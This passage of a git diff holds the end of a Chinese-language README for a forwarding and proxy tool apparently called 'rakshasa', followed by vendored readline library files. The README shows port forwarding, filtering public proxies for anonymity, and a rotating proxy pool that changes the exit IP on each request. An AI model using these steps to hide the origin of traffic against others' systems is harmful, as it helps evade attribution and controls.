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) + +然后打开浏览器,输入http://192.168.1.180:8808/hello/ + +![图片](data:image/png;base64,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KdNVDJQESIAESIDS4hggARIgARJQhgClpUxXMVASIAESIAFKi2OABEiABEhAGQKUljJdxUBJgARIgAQoLY4BEiABEiABZQhQWsp0FQMlARIgARKgtDgGSIAESIAElCFAaSnTVQyUBEiABEiA0uIYIAESIAESUIYApaVMVzFQEiABEiABSotjgARIgARIQBkClJYyXcVASYAESIAEKC2OARIgARIgAWUIUFrKdBUDJQESIAESoLQ4BkiABEiABJQhQGkp01UMlARIgARIgNLiGCABEiABElCGAKWlTFcxUBIgARIgAUqLY4AESIAESEAZApSWMl3FQEmABEiABCgtjgESIAESIAFlCFBaynQVAyUBEiABEqC0OAZIgARIgASUIUBpKdNVDJQESIAESIDS4hggARIgARJQhgClpUxXMVASIAESIAFKi2OABEiABEhAGQKUljJdxUBJgARIgAQoLY4BEiABEiABZQhQWsp0FQMlARIgARKgtDgGSIAESIAElCFAaSnTVQyUBEiABEiA0uIYIAESIAESUIYApaVMVzFQEiABEiABSotjgARIgARIQBkClJYyXcVASYAESIAEKC2OARIgARIgAWUIUFrKdBUDJQESIAESoLQ4BkiABEiABJQhQGkp01UMlARIgARIgNLiGCABEiABElCGAKWlTFcxUBIgARIgAUqLY4AESIAESEAZAv8PlE/xLLSQwRwAAAAASUVORK5CYII=) + +浏览器的请求到192.168.1.180:8808,实际经过转发后到了本地127.0.0.1:81 + +#### http代理池使用示例 + +```shell +D:\rakshasa>rakshasa -check_proxy in.txt +2023/03/19 19:24:55 地址 104.223.135.178:10000 通过匿名代理检测 +2023/03/19 19:24:58 地址 169.55.89.6:80 通过匿名代理检测 +2023/03/19 19:25:52 一共有2个代理通过检测,已保存到 out.txt + +D:\rakshasa>rakshasa -http_proxy_pool out.txt -http_proxy 8080 +start on port: 8883 +httpProxy start :8080 +2023/03/19 19:23:26 httpProxy 启动成功 +rakshasa> +``` + +使用curl查一下ip,请求所使用的代理每次请求都会改变 + +```shell +C:\Users\Administrator>curl -x http://127.0.0.1:8080 https://myip.fireflysoft.net/ +169.55.89.6 +C:\Users\Administrator>curl -x http://127.0.0.1:8080 https://myip.fireflysoft.net/ +104.223.135.178 +``` \ No newline at end of file diff --git a/readline/.gitignore b/readline/.gitignore new file mode 100644 index 0000000..a3062be --- /dev/null +++ b/readline/.gitignore @@ -0,0 +1 @@ +.vscode/* diff --git a/readline/.travis.yml b/readline/.travis.yml new file mode 100644 index 0000000..9c35955 --- /dev/null +++ b/readline/.travis.yml @@ -0,0 +1,8 @@ +language: go +go: + - 1.x +script: + - GOOS=windows go install github.com/chzyer/readline/example/... + - GOOS=linux go install github.com/chzyer/readline/example/... + - GOOS=darwin go install github.com/chzyer/readline/example/... + - go test -race -v diff --git a/readline/CHANGELOG.md b/readline/CHANGELOG.md new file mode 100644 index 0000000..14ff5be --- /dev/null +++ b/readline/CHANGELOG.md @@ -0,0 +1,58 @@ +# ChangeLog + +### 1.4 - 2016-07-25 + +* [#60][60] Support dynamic autocompletion +* Fix ANSI parser on Windows +* Fix wrong column width in complete mode on Windows +* Remove dependent package "golang.org/x/crypto/ssh/terminal" + +### 1.3 - 2016-05-09 + +* [#38][38] add SetChildren for prefix completer interface +* [#42][42] improve multiple lines compatibility +* [#43][43] remove sub-package(runes) for gopkg compatibility +* [#46][46] Auto complete with space prefixed line +* [#48][48] support suspend process (ctrl+Z) +* [#49][49] fix bug that check equals with previous command +* [#53][53] Fix bug which causes integer divide by zero panicking when input buffer is empty + +### 1.2 - 2016-03-05 + +* Add a demo for checking password strength [example/readline-pass-strength](https://github.com/chzyer/readline/blob/master/example/readline-pass-strength/readline-pass-strength.go), , written by [@sahib](https://github.com/sahib) +* [#23][23], support stdin remapping +* [#27][27], add a `UniqueEditLine` to `Config`, which will erase the editing line after user submited it, usually use in IM. +* Add a demo for multiline [example/readline-multiline](https://github.com/chzyer/readline/blob/master/example/readline-multiline/readline-multiline.go) which can submit one SQL by multiple lines. +* Supports performs even stdin/stdout is not a tty. +* Add a new simple apis for single instance, check by [here](https://github.com/chzyer/readline/blob/master/std.go). It need to save history manually if using this api. +* [#28][28], fixes the history is not working as expected. +* [#33][33], vim mode now support `c`, `d`, `x (delete character)`, `r (replace character)` + +### 1.1 - 2015-11-20 + +* [#12][12] Add support for key ``/``/`` +* Only enter raw mode as needed (calling `Readline()`), program will receive signal(e.g. Ctrl+C) if not interact with `readline`. +* Bugs fixed for `PrefixCompleter` +* Press `Ctrl+D` in empty line will cause `io.EOF` in error, Press `Ctrl+C` in anytime will cause `ErrInterrupt` instead of 